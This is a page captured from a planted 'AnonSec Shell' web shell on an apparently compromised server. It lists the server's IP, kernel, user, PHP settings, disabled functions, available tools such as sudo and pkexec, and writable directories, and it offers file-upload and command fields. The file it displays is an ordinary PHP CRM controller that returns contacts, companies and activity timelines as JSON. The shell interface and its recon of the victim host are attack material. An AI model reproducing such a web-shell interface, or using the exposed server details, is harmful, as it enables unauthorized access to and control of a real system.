AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/marisol/application/plugins/module_crm/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/marisol/application/plugins/module_crm/controllers/AjaxController.php
<?php

include_once "Controller.php";
include_once __DIR__ . "/../models/BusinessModel.php";
include_once __DIR__ . "/../models/BusinessActivityModel.php";
include_once __DIR__ . "/../models/BusinessActivityContactsModel.php";

class AjaxController extends Controller
{
    /**
     * @var ID Business
     */
    protected $id;

    /**
     * @var BusinessModel
     */
    protected $model;

    /**
     * @var BusinessActivityModel
     */
    protected $modelActivity;

    /**
     * @var BusinessActivityContactsModel
     */
    protected $modelActivityContacts;

    /**
     * @var BusinessActivityBusinessModel
     */
    protected $modelActivityBusiness;

    /**
     * @param $ui
     * @param array $_L
     * @param array $config
     * @param $_pd
     */
    public function __construct($ui, $_L, $config, $_pd)
    {
        parent::__construct($ui, $_L, $config, $_pd);
        $this->ui->assign('_title', $this->_L['CRM_Module'] . ' - ' . $this->config['CompanyName']);

        $this->model                  = new BusinessModel();
        $this->modelActivity          = new BusinessActivityModel();
        $this->modelActivityContacts  = new BusinessActivityContactsModel();
        $this->modelActivityBusiness  = new BusinessActivityBusinessModel();

        $this->id = $this->routes[3];
    }

    /**
     * @name contacts
     */
    public function contacts()
    {
        $contacts = ORM::for_table('crm_accounts')
            ->table_alias('c')
            ->select('c.*')
            ->left_outer_join('crm_accounts_groups', array('c.id', '=', 'g.crm_accounts_id'), 'g')
            ->where('g.crm_group_id', 5)
            ->order_by_asc('account')->find_many();

        foreach ($contacts as $c) {
            $data[] = array(
                'id' => $c->id,
                'name' => $c->account,
            );
        }
        echo json_encode($data);
    }

    /**
     * @name companies
     */
    public function companies()
    {
        $company = ORM::for_table('crm_accounts')
            ->table_alias('c')
            ->select('c.*')
            ->left_outer_join('crm_accounts_groups', array('c.id', '=', 'g.crm_accounts_id'), 'g')
            ->where('g.crm_group_id', 1)
            ->where('c.kind_of_person', 'PJ')
            ->order_by_asc('account')->find_many();

        foreach ($company as $cia) {
            $data[] = array(
                'id' => $cia->id,
                'name' => $cia->account,
            );
        }
        echo json_encode($data);
    }

    /**
     * @name account
     */
    public function account()
    {
        $account = ORM::for_table('crm_accounts')
            ->table_alias('c')
            ->select('c.*')
            ->left_outer_join('crm_accounts_groups', array('c.id', '=', 'g.crm_accounts_id'), 'g')
            ->where('g.crm_group_id', 5)
            ->order_by_asc('account')->find_many();

        foreach ($account as $acc) {

            $data[] = array(
                'id' => $acc->id,
                'name' => $acc->account,
            );
        }
        echo json_encode($data);
    }

    /**
     * @name business
     */
    public function business()
    {
        $business = ORM::for_table('module_crm_business')
            ->table_alias('b')
            ->select('b.*')
            ->order_by_asc('id')->find_many();

        foreach ($business as $b) {

            $data[] = array(
                'id' => $b->id,
                'name' => $b->business,
            );
        }
        echo json_encode($data);
    }

    /**
     * @name timeline
     */
    public function timeline()
    {
        $data = $_POST;
        $id = $data['id'];

        //CARREGA AS ATIVIDADES
        $activitys = ORM::for_table('module_crm_business_activity')
            ->table_alias('a')
            ->select(array('a.*', 'u.fullname', 't.activity'))
            ->left_outer_join('module_crm_business', array('b.id', '=', 'a.business_id'), 'b')
            ->left_outer_join('module_crm_business_type_activity', array('a.type_activity_id', '=', 't.id'), 't')
            ->left_outer_join('sys_users', array('u.id', '=', 'a.user_id'), 'u')
            ->where('a.business_id', $id)
            ->where_null('b.deleted_at')
            ->where_null('a.deleted_at')
            ->order_by_asc('created_at')
            ->find_array();

        //CARREGA AS ATIVIDADES RELACIONADAS
        $activitys2 = ORM::for_table('module_crm_business_activity_business')
            ->table_alias('bab')
            ->select(array('a.*', 'u.fullname', 't.activity'))
            ->left_outer_join('module_crm_business_activity', array('bab.activity_id', '=', 'a.id'), 'a')
            ->left_outer_join('module_crm_business_type_activity', array('a.type_activity_id', '=', 't.id'), 't')
            ->left_outer_join('sys_users', array('u.id', '=', 'a.user_id'), 'u')
            ->where('bab.business_id', $id)
            ->where_null('bab.deleted_at')
            ->where_null('a.deleted_at')
            ->order_by_asc('created_at')
            ->find_array();

        //CARREGA AS NOTAS
        $notes = ORM::for_table('module_crm_business_notes')
            ->table_alias('n')
            ->select(array('n.*', 'u.fullname'))
            ->left_outer_join('module_crm_business', array('b.id', '=', 'n.business_id'), 'b')
            ->left_outer_join('sys_users', array('u.id', '=', 'n.user_id'), 'u')
            ->where('n.business_id', $id)
            ->where_null('b.deleted_at')
            ->where_null('n.deleted_at')
            ->order_by_asc('created_at')
            ->find_array();

        $data = array_merge($activitys, $notes, $activitys2);

        foreach ($data as $k => $t) {
            $a[$k] = $t['created_at'];
        }

        array_multisort($a, SORT_DESC, $data);

        foreach ($data as $k => $item) {

            $date = new DateTime($item['created_at']);
            $data[$k]['created_at'] = $date->format('d-m-Y');

            if (isset($item['date'])) {
                $date2 = new DateTime($item['date']);
                $data[$k]['date'] = $date2->format('d-m-Y');
            }
        }

        echo json_encode($data);
    }
}

Anon7 - 2022
AnonSec Team